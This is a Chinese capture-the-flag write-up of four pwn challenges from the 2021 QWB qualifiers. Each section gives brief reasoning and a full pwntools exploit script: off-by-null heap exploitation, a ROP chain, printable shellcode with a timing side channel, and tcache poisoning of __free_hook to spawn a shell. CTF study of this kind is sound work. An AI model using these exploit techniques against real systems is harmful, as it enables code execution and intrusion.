强网杯2021初赛

pwn wp

Posted by X1ng on June 14, 2021

记得去年做2个题,今年被学长带着也就做4个题,,所以菜的人学一年就只能多做俩题而已(

跟学长一起打比赛的体验比自己闷头做的体验好太多

baby_diary

2.29版本以上的off-by-null,边学边做。。

保姆级教程:

glibc2.29下的off-by-null

通过伪造堆块绕过向下合并的检查、通过large_bin的fd_nextsize和bk_nextsize在没有堆地址的情况下,利用fastbin的fd和smallbin的bk来绕过unlink的检查

溢出半字节,除了输入全为0可以将半个字节改为0以外,只能控制溢出的半个字节为非0的数字

一开始想着只要清空prev_inuse就行,不管其他两个标志位,后来发现会过不了检查或者有奇奇怪怪得段错误,所以还是全0将溢出的半个字节置0,再两次输入构造prev_size

由于会在输入后面加一个\x00,并且\x00后还有半字节的溢出,这就1/256的爆破概率了,题目还会在输出时对堆块内容检查并判断,但是检查比较宽松,整体爆破概率应该是1/2048

#!/usr/bin/python

from pwn import *
import sys

context.arch='amd64'

local=0
binary_name='baby_diary'
libc_name='libc.so.6'


libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)


def pwn():
	if local:
		p=process("./"+binary_name)
	else:
		p=remote('8.140.114.72',1399)

	def z(a=''):
		if local:
			gdb.attach(p,a)
			if a=='':
				raw_input
		else:
			pass
	ru=lambda x:p.recvuntil(x)
	sl=lambda x:p.sendline(x)
	sd=lambda x:p.send(x)
	sa=lambda a,b:p.sendafter(a,b)
	sla=lambda a,b:p.sendlineafter(a,b)
	ia=lambda :p.interactive()
	def leak_address():
		if(context.arch=='i386'):
			return u32(p.recv(4))
		else :
			return u64(p.recv(6).ljust(8,b'\x00'))

	def cho(num):
		sla(">> ",str(num))

	def add(size,content):
		cho(1)
		sla("size: ",str(size))
		sla("content: ",content)

	def show(idx):
		cho(2)
		sla('index: ',str(idx))

	def delete(idx):
		cho(3)
		sla("index: ", str(idx))

	add(0x6000-0x410+0x70, "padding") # 7-7
  
 
	for i in range(7): # 8-14 -7
    
		add(0x27, 't')
 
	add(0xb20, "largebin") # 15-7
  
	add(0x10, p64(0x21)) # 16-7
  
	delete(15-7)

	add(0x1000,p64(0x21)) # 15-7
  
	add(0x27, p64(7) + p64(0x501) + p8(0x80))#17-7    0x555555560050
  

	add(0x27, 'a') # 18-7
  
	add(0x27, 'b') # 19-7
  
	add(0x27, 'c') # 20-7
  
	add(0x27, 'd') # 21-7
  
 
	# fill in tcache_entry[1](size: 0x30)
  
	for i in range(7): # 8-14 -7
    
		delete(8 + i - 7)

	delete(20-7)
	delete(18-7)

	for i in range(7): # 8-14 -7
    
		add(0x27, '\n')

	# fastbin to smallbin
  
	add(0x3f0, '\n') # 18-7

	add(0x27,  p64(0) + p8(0x60)) #     0x555555560080

	add(0x27, 'clear') # 21-7
 
	for i in range(7): # 8-14 -7
    
		delete(8 + i - 7)

	delete(19-7)
	delete(17-7)

	for i in range(7): # 8-14 -7
    
		add(0x27, '\n')
 

	# change fake chunk's bk->fd
  
	add(0x27, p8(0x60))
	add(0x27, "clear")

	add(0x17, "a") # 23-7 overwrite
  
	add(0x5f7, "a") # 24-7 trigger off-by-null
  
	add(0x100, p64(0x21)) # 25-7
  
 

	delete(23-7)
	add(0x17,'\x00'*0x17)

	delete(23-7)
	add(0x17, b"\x00"*0xf+b'\x05')

	delete(24-7)#overlap

	delete(23-7)
	add(0x17, '\x0f')

	delete(24-7)
	add(0x4d0,'')

	show(16)
	ru('content: ')
	libcbase = leak_address() - 0x1ebbe0
	print(hex(libcbase))

	free_hook = libcbase+libc.sym['__free_hook']
	malloc_hook = libcbase+libc.sym['__malloc_hook']
	system = libcbase+libc.sym['system']

	delete(24-7)
	add(0xb17, b'a'*0x4d0+p64(0)+p64(0x81)+b'b'*0x20)
	add(0x77,'') # 26-7
	delete(26-7)
	delete(23-7)
	delete(24-7)
	add(0xb17, b'a'*0x4d0+p64(0)+p64(0x81)+p64(free_hook)) # 23-7
	
	add(0x77,'/bin/sh') # 24-7
	
	add(0x77,p64(system)) # 26-7
	
	delete(24-7)
  
	ia()

a = 0
while True:
	try:
		a += 1
		print(a)
		pwn()
	except:
		pass	

no_output

需要产生除0错误进入溢出函数,学长随便试了一下用最小负数除以负一就过了,后来找了一下资料

关于C ++:导致除法溢出错误(x86)

int16_t a = -32768; 
int16_t b = -1; 
int16_t c = a / b;

在这种情况下,由于带符号整数的二进制补码表示形式,因此无法在带符号的16位整数中表示正32768,因此除法运算会溢出,从而导致-32768的错误值。

程序没有输出函数,无法泄露地址,最后or flag之后,再通过文件里存在的比较函数逐字节爆破flag

写了个比较菜的手动爆破脚本,一开始还傻傻的爆完了real_flag.txt文件里面的内容。。。

#!/usr/bin/python

from pwn import *
import sys

context.arch='amd64'

local=1
binary_name='test'
e=ELF("./"+binary_name)

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))


open1 = 0x080490F0
read1 = 0x80490C0
cmp = 0x080494D6
main = 1
bss = 0x0804C084
pop_4 = 0x08049580
pop_3 = 0x08049581
pop_2 = 0x08049582
pop_rbx = 0x08049022


#don't change this file!!!

flag = 'qwb{n0_1nput_1s_great!!!}'
l = len(flag)

for j in range(32,127):
	try:
		#p=process("./"+binary_name)
    
		p=remote('39.105.138.97', 1234)
		ru=lambda x:p.recvuntil(x)
		sl=lambda x:p.sendline(x)
		sd=lambda x:p.send(x)
		sa=lambda a,b:p.sendafter(a,b)
		sla=lambda a,b:p.sendlineafter(a,b)
		ia=lambda :p.interactive()
		sd(p64(0)+b'b'*0x28)
		sleep(0.2)
		sd(b'a'*0x20)
		sleep(0.2)

		sl('hello_boy\x00')
		sleep(0.2)
		sl('-925904832333333')
		sleep(0.2)
		sl('-1')

		pd = b'a'*0x48+b'b'*4
		pd += p32(read1)+p32(pop_3)+p32(0)+p32(bss)+p32(0x4)
		pd += p32(open1)+p32(pop_2)+p32(bss)+p32(4)
		pd += p32(read1)+p32(pop_3)+p32(4)+p32(bss)+p32(0x30)
		pd += p32(read1)+p32(pop_3)+p32(0)+p32(bss+0x100)+p32(l+2)
		pd += p32(cmp)+p32(bss)+p32(bss+0x100)
		
		sleep(0.2)
		sd(pd)
		sleep(0.2)
		sd("flag")
		sleep(0.2)
		sl(flag+chr(j)+'\x00')
		sleep(0.2)
		sl('-925904832333333')
		sleep(0.2)
		sl('-1')
		sleep(0.5)
		print('[+]SUCCESS! '+flag+chr(j))

		ia()
	except:
		print("[-]ERROR! Now is "+chr(j))

shellcode

限制输入的字符只能为可见字符,系统调用开放了32位的open,64位的read、mmap、alarm,专门把32位的write禁掉了

保姆级教程:

shellcode的艺术

没有输出的系统调用,还有一个匪夷所思的alarm,学长当即表示读flag到内存后可以把flag当成alarm的参数,通过计时侧信道爆破flag

不得不说这题思路新奇,破脚本修修补补跑第6次得到了完全正确的flag

#coding:utf-8

from pwn import *
import time

shellcode_x86 = '''
/*fp = open("flag")*/

mov esp,0x40404140

push 0x67616c66

push esp

pop ebx

xor ecx,ecx

mov eax,5

int 0x80

mov ecx,eax

'''
shellcode_x86 = asm(shellcode_x86)



append_x86 = '''
push ebx

pop ebx
'''

append = '''
push rdx

pop rdx
'''

# 0x40404040 为32位shellcode地址

shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/

push 0x40404040 /*set rdi*/

pop rdi

push 0x7e /*set rsi*/

pop rsi

push 0x40 /*set rdx*/

pop rax

xor al,0x47

push rax

pop rdx


push 0x40 /*set r8*/

pop rax

xor al,0x40

push rax

pop r8


push rax /*set r9*/

pop r9


/*syscall*/

push rbx

pop rax

push 0x5d

pop rcx

xor byte ptr[rax+0x31],cl

push 0x5f

pop rcx

xor byte ptr[rax+0x32],cl


push 0x22 /*set rcx*/

pop rcx


push 0x40/*set rax*/

pop rax

xor al,0x49

'''

shellcode_read = '''
/*read(0,0x40404040,0x70)*/

push 0x40404040

pop rsi

push 0x40

pop rax

xor al,0x40

push rax

pop rdi

xor al,0x40

push 0x70

pop rdx

push rbx

pop rax

push 0x5d

pop rcx

xor byte ptr[rax+0x57],cl

push 0x5f

pop rcx

xor byte ptr[rax+0x58],cl

push rdx

pop rax

xor al,0x70
'''

shellcode_retfq = '''
push rbx

pop rax


xor al,0x40


push 0x72

pop rcx

xor byte ptr[rax+0x40],cl

push 0x68

pop rcx

xor byte ptr[rax+0x40],cl

push 0x47

pop rcx

sub byte ptr[rax+0x41],cl

push 0x48

pop rcx

sub byte ptr[rax+0x41],cl

push rdi

push rdi

push 0x23

push 0x40404040

pop rax

push rax
'''

flag = ''

for i in range(0,40):
	p = remote("39.105.137.118",50050)	
	shellcode_flag = '''
	push 0x33
	
	push 0x40404060
	
	retfq
	
	
	/*read(fp,buf,0x70)*/
	
	mov rdi,rcx
	
	mov rsi,rsp
	
	mov rdx,0x70
	
	xor rax,rax
	
	syscall
	
	mov rax,37
	
	add rsi,'''+str(i)+'''
	movzx rdi,byte ptr [rsi]
	
	syscall
	
	push 0x40404083
	
	ret
	
	nop
	'''
	shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')

	shellcode = ''
	shellcode += shellcode_mmap
	shellcode += append
	shellcode += shellcode_read
	shellcode += append
	shellcode += shellcode_retfq
	shellcode += append
	shellcode = asm(shellcode,arch = 'amd64',os = 'linux')
	print("No."+hex(i))

	p.sendline(shellcode)
	print(flag)
	sleep(1)
	p.sendline(shellcode_x86 + shellcode_flag)
	time_start=time.time()

	while True:
		try:
			sleep(0.1)
			p.sendline('a')
		except:
			time_end=time.time()
			break
	p.interactive()
	time_end=time.time()
	ch = round(time_end-time_start)
	print(str(i)+":"+chr(ch))
	flag += chr(ch)


#flag{ddc31bff2aa2521

#flag{cdd41bff2aa2521

#flah{cdd32bf53b73531c:4b7:0bd1:79956d}

#flag{cdd32bf53b73531c94b790bd1979956d}

#flag{cdc32cg63a73632d:3c7:0ad2:78867d}

#flag{cdc31bf52a72521c93b690ad1978856d}

pipeline

百度到的2018年强网杯也有 realloc + no free 的题目,文艺复兴2333

append函数取4字节判断sizechunksize-offset大小,取小的数值转换为2字节作为允许输入的长度,输入一个第四位为0的负数就能随便溢出

开始的时候用一个堆块保存堆块的地址和最大长度,用来限制realloc的堆块的范围

思路是从unsortedbin泄露libc地址,从fastbin泄露堆地址,tcache attack打链表结构,来破坏堆块的限制,然后就是tcache attack打free_hook了

#!/usr/bin/python

from pwn import *
import sys

context.log_level = 'debug'
context.arch='amd64'

local=0
binary_name='pipeline'
libc_name='libc.so.6'


libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)

if local:
    p=process("./"+binary_name)
else:
    p=remote('59.110.173.239', 2399)

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
      
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

def cho(num):
	sla('>> ',str(num))

def add():
	cho(1)

def edit(idx, off, sz):
	cho(2)
	sla('index: ', str(idx))
	sla('offset:', str(off))
	sla('size: ', str(sz))

def delete(idx):
	cho(3)

def app(idx, sz, data):
	cho(4)
	sla('index: ', str(idx))
	sla('size: ', str(sz))
	sla('data: ', data)

def show(idx):
	cho(5)
	sla('index: ', str(idx))


add()
add()
add()

add()
add()
add()

add()
add()
add()

edit(1,0,0x420+0x30)
edit(0,0,0x18)

edit(4,0,0x390+0x40)
edit(3,0,0x18)

edit(1,0,0x420+0x40)
edit(0,0,0x28)
edit(2,0,0x420)


edit(4,0,0x390+0x40)
edit(3,0,0x28)
edit(5,0,0x390)


show(2)
ru('data: ')
libcbase = leak_address() - 0x1ebbe0
free_hook = libcbase+0x1eeb28
system = libcbase+0x55410
print(hex(libcbase))

app(4,0xffff03e0,b'a'*0x3d8+b'b'*8)
show(4)
ru(b'b'*8)
heap = leak_address() - 0x580
print(hex(heap))

app(4,0xffff0fff,b'a'*0x3d8+p64(0x21)+p64(heap)+p32(0))

edit(6,0,0x18)
edit(7,0,0x18)

app(6,8,'/bin/sh\x00')
app(7,16,p64(heap-0x20)+p32(0)+p32(0x100))

app(0,0x10,p64(0)+p64(0x7fffffffffffffff))

app(7,16,p64(free_hook)+p32(0)+p32(0x100))
app(0,16,p64(system))
show(0)
edit(6,0,0)
ia()